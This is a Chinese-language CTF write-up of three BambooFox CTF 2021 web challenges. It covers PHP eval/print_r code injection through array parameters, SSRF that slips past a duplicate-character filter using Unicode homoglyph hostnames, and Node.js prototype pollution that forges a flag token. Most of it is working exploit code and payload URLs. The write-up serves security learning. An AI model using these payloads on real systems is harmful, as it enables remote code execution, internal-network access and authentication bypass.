BambooFox CTF 2021部分web题总结

前言

最近没事找找题做,发现有趣的东西记录一下。

0x01 ヽ(#`Д´)ノ

题目源码如下:
1
2
3
4
5
<?=
highlight_file(__FILE__) &&
strlen($🐱 = $_GET['ヽ(#`Д´)ノ']) < 0x0A &&
!preg_match('/[a-z0-9`]/i', $🐱) &&
eval(print_r($🐱, 1));
分析代码可知,我们的输入最终将在eval()中处理,将导致任意命令执行。
接下来我们需要关注三个点:
  • 输入的长度不能超过10字节
  • 输入的字符不能包含a-z0-9和`
  • 输入的字符先被print_r()处理然后在传入到eval()中处理
我们可以把它理解成下面这个代码:
1
2
3
4
5
6
7
8
9
10
<?php
$code="";
if(strlen($code)>=10)
die("length to long");

if (preg_match('/[a-z0-9`]/',$code))
die("characters is wrong");

$result=print_r($code,1);
echo eval($result);
由于使用$_GET[]来获取参数,根据php的特性我们可以使用一个数组来绕过长度判断和正则表达式,例如:
1
2
<?php
$code=["system","ls"];
url构造如下:
1
http://localhost/test/Test2/Test4.php?code[]=system&code[]=ls

从上图可知构造一个数组的确可以绕过长度和正则表达式限制,但是不能通过eval(print_r($code,1))解析。
类比exec()函数我们使用反问号它可以先执行反问号里面的内容,然后抛出错误。尝试在eval()中使用反问号,例如:
1
2
3
<?php
$code="ls `touch /tmp/test`; ls";
eval($code);
但是显然不成功!
eval()中注入字符串,来执行shell命令。
例如:
1
2
3
<?php
$code = ["foo", "bar\n [2] => hax\n);/*"];
print_r($code);
输出如下:
1
2
3
4
5
6
7
Array
(
[0] => "foo",
[1] => "bar",
[2] => "hax"
);/*
)
PS:上面的/*后面的内容全部被注释掉
我们构造出payload如下:
1
2
$code = ["foo", "bar\n    [2] => hax\n);\necho system('ls -al');/*"];
print_r($code);
输出如下:
1
2
3
4
5
6
7
8
Array
(
[0] => "foo",
[1] => "bar",
[2] => "hax"
);
echo system('ls -al');/*
)
由于Array()的键是错误的,因此上面的代码将不会执行。
不过我们可以通过关联数组来构造合法的键值,例如:
1
http://localhost/?code[foo]=bar
输出如下:
1
2
3
4
Array
(
["foo"] => "bar"
)
虽然它将会解析错误,但是我们将键修改为$_SYSTEM,将会解析成功。
1
2
3
4
5
<?php
$code = [
"\$_SYSTEM" => "bar\n);/*"
];
print_r($code);
输出如下:
1
2
3
4
5
Array
(
["$_SYSTEM"] => "bar"
);/*
)
上面的代码将不会解析出错。
因此我们将会得出我们最后的payload:
1
2
3
4
5
<?php
$code = [
"\$_SYSTEM" => "foo\n);\n\$e=system('ls -al');/*"
];
print_r($code);
输出如下:
1
2
3
4
5
6
Array
(
["$_SYSTEM"] => "foo"
);
$e=system('ls -al');/*
)
PS:php7.4是可以的其他版本没试成功,可以使用该条命令下载尝试sudo apt install -y php7.4 php7.4-xdebug
最后的payload:
1
2
3
4
5
6
# -*- coding: utf-8 -*-
import requests

hax = "http://chall.ctf.bamboofox.tw:9487/?%E3%83%BD%28%23%60%D0%94%C2%B4%29%EF%BE%89[$_SYSTEM]=foo\n);\n$e=system('cat /flag_de42537a7dd854f4ce27234a103d4362');/*"
resp = requests.get(hax)
print(resp.content.decode())
方法二:
1
/?ヽ(%23`Д´)ノ[]=system('cat /flag_de42537a7dd854f4ce27234a103d4362'))?>

0x02 SSRFrog

题目提示:
1
FLAG is on this server: http://the.c0o0o0l-fl444g.server.internal:80
题目源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const express = require("express");
const http = require("http");

const app = express();

app.get("/source", (req, res) => {
return res.sendFile(__filename);
})
app.get('/', (req, res) => {
const { url } = req.query;
if (!url || typeof url !== 'string') return res.sendFile(__dirname + "/index.html");

// no duplicate characters in `url`
if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png");

try {
http.get(url, resp => {
resp.setEncoding("utf-8");
resp.statusCode === 200 ? resp.on('data', data => res.send(data)) : res.send(":(");
}).on('error', () => res.send("WTF?"));
} catch (error) {
res.send("WTF?");
}
});

app.listen(3000, '0.0.0.0');
根据题目提示和源码我们的目标是利用ssrf访问上面提供的地址拿到flag。
源码分析
  • 如果输入的url参数不为string和不存在就会返回/index.html页面。
  • 如果输入的url参数的长度不等于经new Set(url).size处理后的长度将会返回frog.png图片。
  • Set()处理后的集合key是不重复的也就是里面没有重复的值。
解决
由于nodejs中的http模块是用new URL来处理的,因此我们可以用Unicode编码来绕过。
示例如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function slove(targetCahr) {
let domainSet = new Set(targetCahr);
let temp = {};
for (c of domainSet) {
temp[c] = [];
let targetHost = 'fake' + c + '.com';
for (let i = 32; i <= 65535; i++) {
let candidateChar = String.fromCharCode(i);
let input = 'http://fake' + candidateChar + '.com';
try {
let url = new URL(input);
if (url.hostname === targetHost) {
temp[c].push(candidateChar)
}
} catch (e) {
}
}
}
return temp;
}

let domain = 'the.c0o0o0l-fl444g.server.internal';
console.log(slove(domain));
temp中的对象全部是数组,其中每个key对应的数组表示该key对应的字符可以用数组中的字符来代替,结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{ '0': [ '0', '⁰', '₀', '⓪', '0' ],
'4': [ '4', '⁴', '₄', '④', '4' ],
t: [ 'T', 't', 'ᵀ', 'ᵗ', 'ₜ', 'Ⓣ', 'ⓣ', 'T', 't' ],
h:
[ 'H', 'h', 'ʰ', 'ᴴ', 'ₕ', 'ℋ', 'ℌ', 'ℍ', 'ℎ', 'Ⓗ', 'ⓗ', 'H', 'h' ],
e:
[ 'E', 'e', 'ᴱ', 'ᵉ', 'ₑ', 'ℯ', 'ℰ', 'ⅇ', 'Ⓔ', 'ⓔ', 'E', 'e' ],
'.': [ '.', '。', '.', '。' ],
c: [ 'C', 'c', 'ᶜ', 'ℂ', 'ℭ', 'Ⅽ', 'ⅽ', 'Ⓒ', 'ⓒ', 'C', 'c' ],
o: [ 'O', 'o', 'º', 'ᴼ', 'ᵒ', 'ₒ', 'ℴ', 'Ⓞ', 'ⓞ', 'O', 'o' ],
l:
[ 'L', 'l', 'ˡ', 'ᴸ', 'ₗ', 'ℒ', 'ℓ', 'Ⅼ', 'ⅼ', 'Ⓛ', 'ⓛ', 'L', 'l' ],
'-': [ '-', '﹣', '-' ],
f: [ 'F', 'f', 'ᶠ', 'ℱ', 'Ⓕ', 'ⓕ', 'F', 'f' ],
g: [ 'G', 'g', 'ᴳ', 'ᵍ', 'ℊ', 'Ⓖ', 'ⓖ', 'G', 'g' ],
s: [ 'S', 's', 'ſ', 'ˢ', 'ₛ', 'Ⓢ', 'ⓢ', 'S', 's' ],
r:
[ 'R', 'r', 'ʳ', 'ᴿ', 'ᵣ', 'ℛ', 'ℜ', 'ℝ', 'Ⓡ', 'ⓡ', 'R', 'r' ],
v: [ 'V', 'v', 'ᵛ', 'ᵥ', 'Ⅴ', 'ⅴ', 'Ⓥ', 'ⓥ', 'ⱽ', 'V', 'v' ],
i:
[ 'I', 'i', 'ᴵ', 'ᵢ', 'ⁱ', 'ℐ', 'ℑ', 'ℹ', 'ⅈ', 'Ⅰ', 'ⅰ', 'Ⓘ', 'ⓘ', 'I', 'i' ],
n: [ 'N', 'n', 'ᴺ', 'ⁿ', 'ₙ', 'ℕ', 'Ⓝ', 'ⓝ', 'N', 'n' ],
a: [ 'A', 'a', 'ª', 'ᴬ', 'ᵃ', 'ₐ', 'Ⓐ', 'ⓐ', 'A', 'a' ] }
最后的paylaod:
1
htTp:ⓣHe。c0o⓪O₀l-fL4₄⁴g。sErvⒺR.inⓉⓔⓡNaⓛ

0x03 Time to Draw

1.题目源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
const express = require("express");
const cookieParser = require('cookie-parser')
var crypto = require('crypto');
const secret = require("./secret");

const app = express();
app.use(cookieParser(secret.FLAG));

let canvas = {
...Array(128).fill(null).map(() => new Array(128).fill("#FFFFFF"))
};

const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');

app.get('/', (req, res) => {
if (!req.signedCookies.user)
res.cookie('user', { admin: false }, { signed: true });

res.sendFile(__dirname + "/index.html");
});

app.get('/source', (_, res) => {
res.sendFile(__filename);
});

app.get('/api/canvas', (_, res) => {
res.json(canvas);
});

app.get('/api/draw', (req, res) => {
let { x, y, color } = req.query;
if (x && y && color) canvas[x][y] = color.toString();
res.json(canvas);
});

app.get('/promote', (req, res) => {
if (req.query.yo_i_want_to_be === 'admin')
res.cookie('user', { admin: true }, { signed: true });
res.send('Great, you are admin now. <a href="/">[Keep Drawing]</a>');
});

app.get('/flag', (req, res) => {
let userData = { isGuest: true };
if (req.signedCookies.user && req.signedCookies.user.admin === true) {
userData.isGuest = false;
userData.isAdmin = req.cookies.admin;
userData.token = secret.ADMIN_TOKEN;
}

if (req.query.token && req.query.token.match(/[0-9a-f]{16}/)
&& hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token) {
res.send(secret.FLAG);
} else {
res.send("NO");
}

});

app.listen(3000, "0.0.0.0");
2.原型链污染回顾:
1
2
3
4
5
const str={};
console.log(str.__proto__===Object.prototype); // true
str.__proto__.flag="flag{test}";
const str2={};
console.log(str2.flag); // flag{test}
3.分析代码:
原型链污染首先关注没有初始化,可控的字段,然后在后面引用过:

userData.tokenif语句中初始化,但是如果跳过if语句,那么该参数就是没有初始化,而且在后面直接使用。
接下来需要找到可以进行原型链污染的地方:

很明显该处跟我们的示例一样,例如:
1
2
3
4
5
6
7
let canvas = {
...Array(128).fill(null).map(() => new Array(128).fill("#FFFFFF"))
};
let {x, y, color} = {x: '__proto__', y: 'token', color: 'my_token'}
canvas[x][y] = color.toString();
let temp = {};
console.log(temp.token) // my_token
最后的payload:
1
2
3
4
5
6
7
const crypto = require('crypto');
const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');

token = "12345678900000000";
hostname = "::ffff:127.0.0.1";
result = hash(hostname + token);
console.log(result); // 0571d35ff568c6faacaa8f931b66729b9bc12a2c1231b8dc8c57073f35c8b62f
第一步污染原型链
1
http://localhost:3000/api/draw?x=__proto__&y=token&color=1cd6705c4f0df9b640deaa47c5510b7b8b4303acc3bf1e95670e975b889a6ce9
第二步获取flag
1
http://localhost:3000/flag?token=1234567890000000

0x0n参考链接

https://spotless.tech/bambooctf-2021-angryface-php.html
https://maxdamage.dev/posts/bctf-ssrfrog.html
https://github.com/sambrow/ctf-writeups-2021/tree/master/bamboo-fox/ssrfrog
https://eine.tistory.com/entry/BambooCTF-2021-web-SSRFrog-Time-to-Draw-write-up
https://scavengersecurity.com/bamboofox-ctf-2021-time-to-draw-web/